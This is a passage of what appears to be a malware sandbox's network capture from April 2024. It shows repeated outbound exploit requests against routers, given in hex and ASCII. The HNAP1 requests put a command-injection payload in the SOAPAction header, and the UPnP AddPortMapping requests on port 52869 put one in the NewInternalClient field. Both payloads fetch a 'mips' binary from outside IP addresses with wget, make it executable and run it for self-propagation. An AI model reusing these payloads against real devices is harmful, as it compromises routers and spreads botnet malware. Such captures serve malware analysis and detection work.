33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Apr 15, 2024 08:53:34.304395914 CEST	773	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Apr 15, 2024 08:53:46.336400032 CEST	773	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
902	192.168.2.13	45614	38.207.119.50	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:24.169929028 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:25.760458946 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:27.652404070 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:31.488384962 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:39.168395996 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:54.272368908 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 